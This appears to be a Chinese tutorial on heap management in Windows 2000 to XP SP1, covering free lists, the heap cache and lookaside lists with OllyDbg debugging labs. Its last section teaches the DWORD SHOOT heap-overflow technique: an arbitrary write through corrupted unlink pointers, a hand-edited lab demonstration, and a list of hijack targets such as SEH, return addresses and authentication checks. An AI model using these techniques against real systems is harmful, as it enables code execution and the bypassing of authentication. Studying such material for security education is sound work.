Windows 堆管理机制 [2] Windows 2000 – Windows XP SP1版本

2.Windows 2000 – Windows XP SP1

2.1 环境准备

环境 环境准备
虚拟机 32位Windows 2000 SP4
调试器 OllyDbg、WinDbg
编译器 VC6.0++、VS2008

2.2 堆的结构

​ 在该阶段,整个堆空间主要由4个结构来维护,分别是段表(segment list)、虚表(Virtual Allocation list)、空表(freelist)和快表(lookaside)。其中,与空表伴生的还有两个数据结构,分别是空表位图(Freelist Bitmap)和堆缓存(Heap Cache),这两个数据结构的引入减少了在分配时对空表的遍历次数,加快了分配速度。

2.2.1 堆块

​ 堆中的内存区被分割为一系列不同大小的堆块。每个堆块的起始处一定是一个 8 字节的 HEAP_ENTRY 结构,后面便是供应用程序使用的区域,通常称为用户区

​ HEAP_ENTRY 结构的前两字节是以分配粒度表示的堆块大小。分配粒度通常为 8 字节,这意味着每个堆块的最大值是 2 的 16 次方乘以 8 字节,即 0x10000×8 字节 = 0x80000 字节 = 524288 字节=512KB, 因为每个堆块至少要有 8 字节的管理信息,所以应用程序可以使用的最大堆块便是 0x80000 字节 - 8 字节 = 0x7FFF8 字节

注意:占用态堆块和空闲态堆块的块首有区别

图2-2-1(1) 占用态堆块

图2-2-1(2) 空闲态堆块

2.2.2 空闲双向链表FreeList

​ 空闲堆块的块首中包含一对重要的指针,这对指针用于将空闲堆块组织成双向链表。按照堆块的大小不同,空表总共被分为 128 条。 堆区一开始的堆表区中有一个 128 项的指针数组,被称做空表索引(Freelist array)。该数组的每一项包括两个指针,用于标识一条空表

​ 把空闲堆块按照大小的不同链入不同的空表,可以方便堆管理系统高效检索指定大小的空闲堆块。

堆管理器将分配请求映射到空闲列表位图索引的算法

​ 将请求的字节数+8,再除以8得到索引

举例

​ 对于分配8字节的请求,堆管理器计算出的空闲列表位图索引为2,即(8+8)/2

注意

  • 空表索引的第一项(free[0])所标识的空表相对比较特殊。这条双向链表链入了所有大于等于 1024 字节的堆块(小于 512KB)。这些堆块按照各自的大小在零号空表中升序地依次排列下去。
  • FreeList[1]没有被使用,因为堆块的最小值为16(8字节块头+8字节用户数据)


图2-2-2 空闲双向链表FreeList结构

2.2.3 空表位图

​ 空表位图大小为128bit,每一bit都对应着相应一条空表。若该对应的空表中没有链入任何空闲堆块,则对应的空表位图中的bit就为0,反之为1。在从对应大小空表分配内存失败后,系统将尝试从空表位图中查找满足分配大小且存在空闲堆块的最近的空表,从而加速了对空表的遍历

2.2.4 堆缓存

​ 所有等于或大于1024的空闲块,都被存放在FreeList[0]中。 这是一个从小到大排序的双向链表。因此,如果FreeList[0]中有越来越多的块, 当每次搜索这个列表的时候,堆管理器将需要遍历多外节点。 堆缓存可以减少对FreeList[0]多次访问的开销。它通过在FreeList[0]的块中创建一个额外的索引来实现。

注意

​ 堆管理器并没有真正移动任何空的块到堆缓存。这些空的块依旧保存在FreeList[0],但堆缓存保存着FreeList[0]内的一 些节点的指针,把它们当作快捷方式来加快遍历。

堆缓存结构

​ 这个堆缓存是一个简单的数组,数组中的每个元素大小都是int ptr_t字节,并且包含指向NULL指针或指向FreeList[0]中的块的指针。这个数组包含896个元素,指向的块在1024到8192之间。这是一个可配置的大小,我们将称它为最大缓存索引(maximum cache index) 。

​ 每个元素包含一个单独的指向FreeList[0]中第一个块的指针,它的大小由这个元素决定。如果FreeList[0]中没有大小与它匹配的元素,这个指针将指向NULL。

​ 堆缓存中最后一个元素是唯一的:它不是指向特殊大小为8192的块,而是代表所有大于或等于最大缓存索引的块。所以,它会指向FreeList[0]中第一个大小大于 最大缓存索引的块。

堆缓存位图

​ 堆缓存数组大部分的元素是空的,所以有一个额外的位图用来加快搜索。这个位图的工作原理跟加速空闲列表的位图是一样的。


图2-2-4 堆缓存与FreeList[0]

2.2.5 快速单向链表Lookaside(旁视列表)

​ 快表是与Linux系统中Fastbin相似的存在,是为加速系统对小块的分配而存在的一个数据结构。快表共有128条单向链表,每一条单链表为一条快表,除第0号、1号快表外,从第2号快表到127号快表分别维护着从16字节(含堆头)开始到1016字节(含堆头)每8字节递增的快表,即(快表号*8字节)大小。由于空闲状态的堆头信息占8字节,因此0号和1号快表始终不会有堆块链入

​ 快表总是被初始化为空,每条快表最多有4个结点,进入快表的堆块遵从先进后出(FILO)的规律。为提升小堆块的分配速度,在快表中的空闲堆块不会进行合并操作

注意:图中堆块字节数已包含块头的8字节

​ 在分配新的堆块时,堆管理器会先搜索旁视列表,看是否有合适的堆块。因为从旁视列表中分配堆块是优先于其他分配逻辑的,所以它又叫**前端堆(front end heap)**,前端堆主要用来提高释放和分配堆块的速度

2.2.6 虚拟内存块VirtualAllocdBlocks

​ 当一个应用程序要分配大于 512KB 的堆块时,如果堆标志中包含 HEAP_GROWABLE(2),那 么堆管理器便会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地址记录在 HEAP 结构的 VirtualAllocdBlocks 所指向的链表中

​ 每个大虚拟内存块的起始处是一个 HEAP_VIRTUAL_ALLOC_ENTRY 结构(32 字节)

typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY {
    LIST_ENTRY Entry;
    HEAP_ENTRY_EXTRA ExtraStuff;
    SIZE_T CommitSize;
    SIZE_T ReserveSize;
    HEAP_ENTRY BusyBlock;
} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;

2.3 堆块的操作

​ 当应用程序调用堆管理器的分配函数向堆管理器申请内存时,堆管理器会从自己维护的内存区中分割除一个满足用户指定大小的内存块,然后把这个块中允许用户访问部分的起始地址返回给应用程序,堆管理器把这样的块叫一个Chunk,也就是"堆块"。应用程序用完一个堆块后,应该调用堆管理器的释放函数归还堆块

​ 堆中的操作可以分为堆块分配、堆块释放和堆块并(Coalesce)三种。其中,“分配”和 “释放”是在程序提交申请和执行的,而堆块合并则是由堆管理系统自动完成

​ 在具体进行堆块分配和释放时,根据操作内存大小的不同,Windows 采取的策略也会有所 不同。可以把内存块按照大小分为三类:

小块:SIZE < 1KB

大块:1KB ≤ SIZE < 512KB

巨块:SIZE ≥ 512KB

2.3.1 堆块分配

1. 快表分配

​ 从快表中分配堆块比较简单,包括寻找到大小匹配的空闲堆块、将其状态修改为占用态、 把它从堆表中“卸下”、最后返回一个指向堆块块身的指针给程序使用。

​ 只有精准匹配时才会分配

2. 普通空表分配

​ 首先寻找最优的空闲块分配,若失败,则寻找次优的空闲块分配,即最小的能够满足要求的空闲块。

​ 当空表中无法找到匹配的“最优”堆块时,一个稍大些的块会被用于分配。这种次优分配发生时,会先从大块中按请求的大小精确地“割”出一块进行分配,然后给剩下的部分重新标注块首,链入空表

3. 零号空表分配

​ 零号空表中按照大小升序链着大小不同的空闲块,故在分配时先从 free[0]反向查找最后一 个块(即表中最大块),看能否满足要求,如果能满足要求,再正向搜索最小能够满足要求的 空闲堆块进行分配。

4. 分配算法

内存块类型 分配算法
小块:SIZE < 1KB 首先进行快表分配
若快表分配失败,进行普通空表分配
若普通空表分配失败,使用堆缓存(heap cache)分配
若堆缓存分配失败,尝试零号空表分配(freelist[0])
若零号空表分配失败,进行内存紧缩后再尝试分配
若扔无法分配,返回NULL
大块:1KB ≤ SIZE < 512KB 首先使用堆缓存进行分配
若堆缓存分配失败,使用free[0]中的大块进行分配
巨块:SIZE ≥ 512KB 需要用到虚分配方法

图2-3-1(1) 空表分配算法

5. 堆分配函数

1)Windows 平台下的堆管理架构


图2-3-1(2) Windows平台下的堆分配函数的关系


图2-3-1(3) Windows平台下的堆管理机制

2)堆分配函数

​ 所有堆分配函数最终都将使用位于 ntdll.dll 中的 RtlAllocateHeap()函数进行分配


图2-3-1(4) 堆分配函数与底层实现

RtlAllocateHeap函数分析如下:(详细过程见RtlAllocateHeap函数源码分析报告)

  1. 判断是否有HEAP_SLOW_FLAGS标志,如果有则将调用RtlAllocateHeapSlowly申请堆

  2. 如果是低碎片堆,调用RtlpLowFragHeapAlloc申请低碎片堆

  3. 计算获取分配大小并进行调整,确定分配索引

  4. 获得快表,如果分配索引在快表内(分配大小 < 1KB),从快表中分配内存

  5. 若快表分配失败,从空表中分配

    1)如果分配索引小于最大空闲列表大小,那么可以使用索引来检查空闲列表,获得符合要求的空闲块

    2)若符合要求的空闲列表为0,扫描使用中的空闲列表向量以找到足够大的最小可用空闲块以供分配,并将将这个块中我们不需要的内存返还给空闲列表

    3)计算申请堆块的大小(Size*8)和堆块的首地址,返回

  6. 如果分配请求索引不在空闲列表内,则很有可能大于最后的空闲列表大小

  7. 请求大小在VirtualMemoryThreshold(最大分配内存,超过此大小就交由内存管理器分配)内,从freelist[0]中分配:

    先从 free[0]反向查找最后一个块(即表中最大块),看能否满足要求,如果能满足要求,再正向搜索最小能够满足要求的空闲堆块进行分配

  8. 请求大小在VirtualMemoryThreshold(最大分配内存,超过此大小就交由内存管理器分配)外,进行虚分配,调用ZwAllocateVirtualMemory分配内存

2.3.2 堆块释放

​ 释放堆块的操作:将堆块状态改为空闲,链入相应的堆表。所有的释放块都链入堆表的末尾,分配的时候也先从堆表末尾拿。

1. 释放算法

内存块类型 释放算法
小块:SIZE < 1KB 优先链入快表(只能链入4个空闲块)
如果快表满,则将其链入相应的空表
大块:1KB ≤ SIZE < 512KB 优先将其放入堆缓存
若堆缓存满,将链入freelist[0]
巨块:SIZE ≥ 512KB 直接释放,没有堆表操作

2. 堆释放函数

​ 所有释放堆的API都调用RtlFreeHeap释放堆

RtlFreeHeap函数流程

  1. 如果该堆是低碎片堆,调用RtlpLowFragHeapFree释放低碎片堆

  2. 判断是否有HEAP_SLOW_FLAGS标志,如果有则将调用RtlFreeHeapSlowly释放堆

  3. 获得要被释放的堆块

    进行判错处理:

    1)拒绝释放没有设置忙位的块

    2)拒绝释放不是八字节对齐的块(这种情况下的具体错误是Office95,它喜欢在您从桌面快捷方式启动Word95 时释放一个随机指针)

    3)检查段索引以确保它小于 HEAP_MAXIMUM_SEGMENTS (16)

  4. 如果快表存在并且该块不是大块,则将该块释放到快表中

  5. 当该块不是巨块(巨块有内存管理器分配)的时候,此时该块由空表分配而来

    1)获取堆的大小,调用并调用RtlpCoalesceFreeBlocks合并块合并堆块

    2)若该堆块大小在空表范围内,将其释放到空表中

    3)如果被释放的堆块大小大于专用的空表大小,此时判断释放堆块的大小是否在规定范围内,检查块是否可以进入 [0] 索引空闲列表,如果可以,则插入并确保需要以下块知道我们正确的大小,并更新堆空闲空间计数器

  6. 如果该块是由ZwAllocateVirtualMemory分配的巨块,调用RtlpHeapRemoveEntryList将其从虚拟分配块的堆列表中删除,调用RtlpHeapFreeVirtualMemory将内存返还给虚拟内存管理器

3. 解除提交

​ 在堆块的释放中,堆管理器只在以下两个条件都满足时才会立即调用ZwFreevirtualMemory函数向内存管理器释放内存,通常称为解除提交(Decommit)

​ 1)本次释放的堆块大小超过了堆参数中的 DeCommitFreeBlockThreshold所代表的阈值

​ 2)累积起来的总空闲空间(包括本次)超过了堆参数中的DeCommitTotalFreeThreshold 所代表的阈值。

  • DeCommitFreeBlockThreshold和DeCommitTotalFreeThreshold是放在堆管理区的参数,创建堆时会使用PEB中的HeappeCommitFreeBlockThreshold和 HeapDeCommitTotalFreeThreshold字段的值来初始化这两个参数。

    kd> dt _PEB
    ntdll!_PEB
       +0x080 HeapDeCommitTotalFreeThreshold : 0x10000
       +0x084 HeapDecommitFreeBlockThreshold : 0x1000
    

    当要释放的堆块超过4KB并且堆上的总空闲空间达到64KB时,堆管理器才会立即向内存管理器执行解除提交操作真正释放内存,否则,堆管理器会将这个块加到空闲块列表中,并更新堆管理区的总空闲空间值(TotalFree)

2.3.3 堆块合并

​ 经过反复的申请与释放操作,堆区可能产生很多内存碎片。为了合理有效地利用内存,堆管理系统还要能够进行堆块合并操作。 当堆管理系统发现两个空闲堆块彼此相邻的时候,就会进行堆块合并操作。 堆块合并包括将两个块从空闲链表中“卸下”、合并堆块、调整合并后大块的块首信息(如大小等)、将新块重新链入空闲链表


图2-3-3 堆块合并

2.4 调试堆

2.4.1 空表中的申请与释放

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验代码

#include <windows.h>
int main()
{
	HLOCAL h1,h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
    //hp = HeapCreate(0,0,0);  //生成可扩展的堆即可显示快表
	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h5);
	
	HeapFree(hp,0,h4); 

	
	return 0;
}

调试注意事项

注意:实际调试后,使用Debug编译后的程序,直接运行,产生断点异常之后再附加调试器,其分配的堆块不会出现以下差异。只有一开始就使用调试器调试才会出现以下差异

​ 1. 调试堆与调试栈不同,不能直接用调试器 Ollydbg、Windbg 来加载程序,否则堆管理函数会检测到当前进程处于调试状态,而使用调试态堆管理策略。

调试态堆管理策略和常态堆管理策略的差异

  • 调试堆不使用快表,只用空表分配

  • 所有堆块都被加上了多余的 16 字节尾部用来防止溢出(防止程序溢出而不是堆溢出攻击),这包括 8 个字节的 0xAB 和 8 个字节的 0x00。

  • 块首的标志位不同。 调试态的堆和常态堆的区别就好像 debug 版本的 PE 和 release 版本的 PE 一样。

  1. 可以在创建堆之后加入一个人工断点:_asm int 3,然后让程序单独执行。当程序把堆初始化完后,断点会中断程序,这时再用调试器 attach 进程,就能看到真实的堆了

  2. 如果在调试状态下查看进程默认堆,当调用HeapAlloc分配堆块后,堆块整个内存区都被填充为 0xBAADF00D(英文 Bad Food),这是因为我们在调试器中运行程序,系统自动启用了堆的调试支持

    当调用HeapFree释放堆块后,用户区除前 8 字节外的区域都被填充为 feeefeee,看起来像英文的 free,这正是堆管理器对已经释放堆块所自动填充的内容

实验过程

  1. 在 Windows 2000 平台下,使用 VC6.0 编译器的默认选项将实验代码 build 成 release 版本

  1. 直接运行,程序会自动中断

  1. 此时打开OllyDbg将其设置为默认调试器:选项->实时调试设置->设置OllyDbg为实时调试器->完成

  1. 此时点击刚才中断的程序,点击取消,自动进入OllyDbg中断到int 3断点处

  1. 单击 Ollydbg 中的“M”按钮,可以 得到当前的内存映射状态

可见开始于 0x00130000 的大小为 0x6000 的进程堆,可以通过 GetProcessHeap()函数获得这个堆的句柄并使用;

内存分配函数 malloc()的堆区:开始于0x00410000的大小为 0x8000 字节的堆

自己申请的堆区:开始于0x00520000的大小为0x1000的堆区

  1. 在内存区按快捷键 Ctrl+G 去 0x00520000地址处查看,从 0x00520000 开始,堆表中包含的信息依次是段表索引(Segment List)、 虚表索引(Virtual Allocation list)、空表使用标识(freelist usage bitmap)和空表索引区。 查看偏移 0x178 处的空表索引区

    FreeList[0]指向堆中目前唯一一个块,即位于偏移0x0688的尾块

  2. 当一个堆刚刚被初始化时,它的堆块状况非常简单。

    1)只有一个空闲态的大块,这个块被称做“尾块”

    2)位于堆偏移 0x0688 处(启用快表后这个位置将是快表),这里算上堆基址就是 0x00520688 (HEAP结构大小+HEAP_SEGMENT结构大小+HEAP_ENTRY结构大小)

    3)Freelist[0]指向“尾块”

    4)除零号空表索引外,其余各项索引都指向自己,这意味着其余所有的空闲链表中都没有空闲块

  3. 查看尾块 0x00520688地址处

    1)这个堆块开始于 0x00520680,一般引用堆块的指针都会跃过 8 字节的块首,直接指向数据区

    2)尾块目前的大小为 0x0130,计算单位是 8 个字节,也就是 0x980 字节

    3)注意:堆块的大小是包含块首在内的

    0x0052688处的数据指向FreeList[0]构成双向链表

  4. 分析堆块内存的分配情况:

    1)堆块的大小包括块首在内,即如果请求 32 字节,实际会分配的堆块为 40 字节:8 字节块首+32 字节块身

    2)堆块的单位是 8 字节,不足 8 字节的部分按 8 字节分配

    3)初始状态下,快表和空表都为空,不存在精确分配。请求将使用“次优块”进行分配。 这个“次优块”就是位于偏移 0x0688 处的尾块

    4)由于次优分配的发生,分配函数会陆续从尾块中切走一些小块,并修改尾块块首中的 size 信息,最后把 freelist[0]指向新的尾块位置。 所以,对于前 6 次连续的内存请求,实际分配情况如表

    堆句柄 请求字节数 实际分配(堆单位) 实际分配(字节)
    h1 3 2 16
    h2 5 2 16
    h3 6 2 16
    h4 8 2 16
    h5 19 4 32
    h6 24 4 32
  5. 在 OllyDbg 中单步运行到前 6 次分配结束,堆中情况如下:

    指向尾块的FreeList[0]随着堆的分配往后挪了

  1. 在OllyDbg中单步执行,执行完前三次释放指令,分别释放h1,h3,h5堆块。由于前三次释放的堆块在内存中不连续,因此不会发生合并。

    按照其大小,h1和h3所指向的堆块应该被链入FreeList[2]的空表,h5被链入FreeList[4]

  2. OllyDbg继续单步执行,进行第四次释放,释放h4堆块,当此堆块被释放后,h3、h4、h5 这 3 个空闲块彼此相邻,这时会发生堆块合并操作

    1)首先这 3 个空闲块都将从空表中摘下,然后重新计算合并后新堆块的大小,最后按照合并后的大小把新块链入空表。

    2)h3、h4 的大小都是 2 个堆单位(8 字节),h5 是 4 个堆单位,合并后的新块为 8 个堆单位,将被链入 freelist[8]。

    最后一次释放操作执行完后的堆区状态如图

  3. 此时查看空表索引区

    1)在 0x00520188 处的 freelist[2],原来标识的空表中有两个空闲块 h1 和 h3,而现在只剩下 h1,因为 h3 在合并时被摘下了

    2)在 0x00520198 处的 freelist[4],原来标识的空表中有一个空闲块 h5,现在被改为指向自身,因为 h5 在合并时被摘下了

    3)在 0x005201B8 处的 freelist[8],原来指向自身,现在则指向合并后的新空闲块 0x005206AB

2.4.2 快表的申请与释放

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release

实验代码

#include <stdio.h>
#include <windows.h>
void main()
{
	HLOCAL h1,h2,h3,h4;
	HANDLE hp;
	hp = HeapCreate(0,0,0);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h2);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h4);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	HeapFree(hp,0,h2);
}

实验过程

  1. 在 Windows 2000 平台下,使用 VC6.0 编译器的默认选项将实验代码 build 成 release 版本

  2. 直接运行,程序会自动中断,点击取消自动进入OllyDbg调试器调试

  3. 单击 Ollydbg 中的“M”按钮,可以 得到当前的内存映射状态,可见自己申请的起始于0x00520000的堆区

  4. 查看内存的0x520000地址处,可见程序在使用快表之后堆结构发生了一些变化,此时“尾块”不再位于堆 0x0688 偏移处了,这个位置被快表霸占。可从HEAP结构偏移0x580处查看快表地址,可见快表位于0x00520688处

    此时查看FreeList地址,为0x00521E90

  5. 查看0x00520688处的快表信息。可以看到堆刚初始化后快表是空的,这也是为什么代码中要反复的申请释放空间

  6. 在OllyDbg中单步执行。首先从 FreeList[0]中依次申请 8、16、24 个字节的空间,然后再通过 HeapFree 操作将其释放到快表中(快表未满时优先释放到快表中)

    根据三个堆块的大小我们可以知道块头+数据区得到堆块总大小分别为16,24,30个字节。16字节的会被插入到Lookaside[2]中、24字节的会被插入到 Lookaside[3]中、30 字节的会被插入到 Lookaside[4] 中

    在网上搜的时候有人说0x00360688开始的0x30是快表头结构。但是调试过程中实际算了一下从0x00360688到Lookaside刚好也是128项,并没有多申请一个所谓的头结构
    而且看RtlCreateHeap函数源码也只给快表申请了128项,FrontEndHeap就是指向的Lookaside[0]
    
    再看RtlFreeHeap的代码,在释放快表时发现了如下代码:
        
    //Windows2003源码
    if ((Lookaside != NULL) &&
        RtlpIsFrontHeapUnlocked(Heap) &&
        (!(BusyBlock->Flags & HEAP_ENTRY_VIRTUAL_ALLOC)) &&
        ((FreeSize = BusyBlock->Size) < HEAP_MAXIMUM_FREELISTS)) {
        if (RtlpFreeToHeapLookaside( &Lookaside[FreeSize], BaseAddress)) {
    
    //widnows2000逆向分析
    if ( (BusyBlock_Flags & 0xE0) == 0 )
    {
    	if ( *(_BYTE *)(HeapHandle + 1414) != 1 )
    		JUMPOUT(0x77FCC9BF);
    	Lookaside = *(_DWORD *)(HeapHandle + 1408);
        if ( Lookaside )
        {
            if ( !*(_WORD *)(HeapHandle + 1412) && (BusyBlock_Flags & 8) == 0 )
            {
            	BusyBlock_Size = *BusyBlock;
                FreeSize = BusyBlock_Size;
                if ( BusyBlock_Size < 0x80 )
                {
                	if ( (unsigned __int8)sub_77F829B4(Lookaside + 48 * BusyBlock_Size, BaseAddress) )
                  	return 1;
              	}
            }
    	}
    }
            
    发现Lookaside查找的索引是根据堆块里堆块的大小(以8字节为粒度)来决定的,也就是说当释放一个8字节大小的数据,它所在的堆块大小为16个字节(块头+数据),也就是两个单位
    也就是释放到Lookaside[2]的位置,这样看就能说得通了
    

    执行完四次释放操作后快表区状态如图:

  7. 一个快表项大小为0x30,详细结构如下,可见前四个字节指向堆块结点的地址

    typedef struct _HEAP_LOOKASIDE {
        SLIST_HEADER_ ListHead;		//指向堆块节点
        USHORT Depth;
        USHORT MaximumDepth;
        ULONG TotalAllocates;
        ULONG AllocateMisses;
        ULONG TotalFrees;
        ULONG FreeMisses;
        ULONG LastTotalAllocates;
        ULONG LastAllocateMisses;
        ULONG Counters[2];
    #ifdef _IA64_
        DWORD Pad[3];
    #else
        DWORD Pad;
    #endif
    } HEAP_LOOKASIDE, *PHEAP_LOOKASIDE;
    
    struct SLIST_HEADER_ 
    {
        SLIST_HEADER_ * Next;
        ULONG_PTR       Align;
    };
    
  8. 在 0x00521EA0 附近观察堆块的状态,可以发现快表中的堆块与空表中的堆块有着两个明显的区别

    1)块首中的标识位为 0x01,也就是这个堆块是 Busy 状态,这也是为什么快表中的堆块不进行合并操作的原因

    2)块首只存指向下一堆块的指针,不存在指向前一堆块的指针

  9. 经过前面的释放操作后,快表已经非空了,此时如果再申请 8、16 或 24 字节大小空间的时系统会从快表中给我们分配,所以程序中接下来申请 16 个字节空间(堆块大小为24个字节)时,系统会从 Lookaside[3]中卸载一个堆块分配给程序,同时修改 Lookaside[3]表头

2.5 堆保护机制

​ 微软对于Windows系统的内存保护机制是从Windows XP SP2版本才开始有明显建树的,在Windows 2000 – Windows XP SP1版本这一阶段,微软仅考虑了操作系统的性能和功能完整性,并没有过多考虑安全性因素,也正是由于这点,导致在该阶段系统中存在的漏洞极易被利用

2.6 堆漏洞利用

​ 该阶段为Windows系统原生阶段,只考虑了系统的性能和功能完整性,并没有过多的考虑安全性因素。因此在该阶段的堆漏洞的利用方法是最多样、最自由也是最稳定的,如DWORD SHOOT、Heap Spray等。接下来将详细介绍在该阶段操作系统中比较经典和常见的漏洞的产生原因以及利用方式

2.6.1 DWORD SHOOT

​ DWORD SHOOT:用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指 针(flink)和后向指针(blink),然后在分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。这种能够向内存任意位置写入任意数据的机会称为“DWORD SHOOT”

​ 通过 DWORD SHOOT,攻击者可以进而劫持进程,运行 shellcode,例如如下的情形:

点射目标(Target) 子弹(payload) 改写后的结果
栈帧中的函数返回地址 shellcode起始地址 函数返回时,跳去执行shellcode
栈帧中的S.E.H句柄 shellcode起始地址 异常发生时,跳去执行shellcode
重要函数调用地址 shellcode起始地址 函数调用时,跳去执行shellcode

1. DWORD SHOOT原理调试

1)将一个结点从双向链表中“卸下”的函数
int remove (ListNode * node) 
{ 
	node -> blink -> flink = node -> flink; 
	node -> flink -> blink = node -> blink; 
	return 0; 
} 


图2-6-1(1) 空闲双链表的拆卸

2)DWORD SHOOT原理

​ 将该过程转为汇编代码如下,利用堆溢出将块首进行覆盖,node->flink覆盖为shellcode起始地址,node->blink覆盖为Target地址,再调用HeapAlloc分配块时,内部会将被溢出的块从FreeList中卸下,卸下的过程中执行如下代码,发生:mov [edx], ecx,即[Target地址] = shellcode地址

​ 所以可以利用堆溢出进行DWORD SHOOT,将shellcode的起始地址写入任意地址处

;node -> blink -> flink = node -> flink; [node->blink] = flink
mov     ecx, [ebp+pList]
mov     edx, [ecx+4]     	; 把node->blink赋给edx  此时edx保存返回的地址(Target地址)
mov     eax, [ebp+pList] 
mov     ecx, [eax]       	; 把node->flink赋给ecx	 此时ecx保存shellcode起始地址(payload地址)
mov     [edx], ecx			; node->blink->flink = node->flink  此时[Target地址] = shellcode地址

;node -> flink -> blink = node -> blink; 
mov     eax, [ebp+pList] 
mov     ecx, [eax]			; 把node->flink赋给ecx  此时ecx保存shellcode起始地址(payload地址)
mov     edx, [ebp+pList]
mov     eax, [edx+4]		; 把node->blink赋给eax  此时eax保存返回的地址(Target地址)
mov     [ecx+4], eax		; node->flink->blink = node->blink	此时[shellcode + 4] = Target地址  所以此处会修改[shellcode+4]的值


图2-6-1(2) DWORD SHOOT原理图

3)原理调试

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验代码

#include <windows.h>
int main()
{
	HLOCAL h1, h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	_asm int 3	//used to break the process
	//free the odd blocks to prevent coalesing
	HeapFree(hp,0,h1); 
	HeapFree(hp,0,h3); 
	HeapFree(hp,0,h5); //now freelist[2] got 3 entries
	
	//will allocate from freelist[2] which means unlink the last entry (h5)
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 
		
	return 0;
}

程序分析

  1. 程序首先创建了一个大小为 0x1000 的堆区,并从其中连续申请了 6 个大小为 8 字节 的堆块(加上块首实际上是 16 字节),这应该是从初始的大块中“切”下来的。
  2. 释放奇数次申请的堆块是为了防止堆块合并的发生
  3. 三次释放结束后,freelist[2]所标识的空表中应该链入了 3 个空闲堆块,它们依次是 h1、 h3、h5。
  4. 再次申请 8 字节的堆块,应该从 freelist[2]所标识的空表中分配,这意味着最后一个堆块 h5 被从空表中“拆下”
  5. 如果此时手动修改 h5 块首中的指针,应该能够观察到 DWORD SHOOT 的发生

实验过程

  1. 直接运行程序,让其在_asm int 3 处自己中断,然后附上调试器

  2. 三次内存释放操作结束后,直接在内存区按快捷键 Ctrl+G 观察 0x00520688 处的堆块状况

    从 0x00520680 处开始,共有 9 个堆块,如下表:

    堆句柄 起始地址 Flag Size 单位:8bytes 前向指针 flink 后向指针 blink
    h1 0x00520680 空闲态 0x00 0x0002 0x005206A8 0x00520188
    h2 0x00520690 占用态 0x01 0x0002
    h3 0x005206A0 空闲态 0x00 0x0002 0x005206C8 0x00520688
    h4 0x005206B0 占用态 0x01 0x0002
    h5 0x005206C0 空闲态 0x00 0x0002 0x00520188 0x005206A8
    h6 0x005206D0 占用态 0x01 0x0002
    尾块 0x005206E0 最后一项(0x10) 0x0124 0x00520178
    (freelist[0])
    0x00520178
    (freelist[0])

    图2-6-1(3) FreeList[2]的结点情况

  3. 最后一次 8 字节的内存请求会把 freelist[2]的最后一项(原来的 h5)分配出去,即最后一个结点将被“卸下”

    如果现在直接在内存中修改 h5 堆块中的空表指针(当然攻击发生时是由于溢出而改写的),那么应该能够观察到 DWORD SHOOT 现象

  4. 直接在调试器中手动将 0x005206C8 (h5)处的前向指针改为 0x44444444,后向指针改为 0x00000000

  5. 当最后一个分配函数被调用后,调试器被异常中断,原因是无法将 0x44444444 写入 0x00000000。当然,如果我们把射击目标定为合法地址,这条指令执行后, 0x44444444 将会被写入目标

------

2. DWORD SHOOT的利用方法

DWORD SHOOT 的常用目标(Windows XP SP1 之前的平台)
  1. 内存变量:修改能够影响程序执行的重要标志变量,往往可以改变程序流程。

    例如, 更改身份验证函数的返回值就可以直接通过认证机制。在这种应用场景中,DWORD SHOOT 要比栈溢出强大得多,因为栈溢出时溢出的数据必须连续,而 DWORD SHOOT 可以更改内存中任意地址的数据

  2. 代码逻辑:修改代码段重要函数的关键逻辑有时可以达到一定攻击效果

    例如,程序分支处的判断逻辑,或者把身份验证函数的调用指令覆盖为 0x90(nop)。这种方法有点类似软件破解技术中的“爆破”——通过更改一个字节而改变整个程序的流程

  3. 函数返回地址:栈溢出通过修改函数返回地址能够劫持进程,堆溢出也一样可以利用 DWORD SHOOT 更改函数返回地址。但由于栈帧移位的原因,函数返回地址往往是不固定的, 甚至在同一操作系统和补丁版本下连续运行两次栈状态都会有不同,故 DWORD SHOOT 在这种情况下有一定局限性,因为移动的靶子不好瞄准

  4. 攻击异常处理机制:当程序产生异常时,Windows 会转入异常处理机制。堆溢出很容易引起异常,因此异常处理机制所使用的重要数据结构往往会成为 DWORD SHOOT 的上等目标,这包括 S.E.H(structure exception handler)、F.V.E.H(First Vectored Exception Handler)、进 环境块(P.E.B)中的 U.E.F (Unhandled Exception Filter)、线程环境块(T.E.B)中存放的第一个 S.E.H 指针(T.E.H)

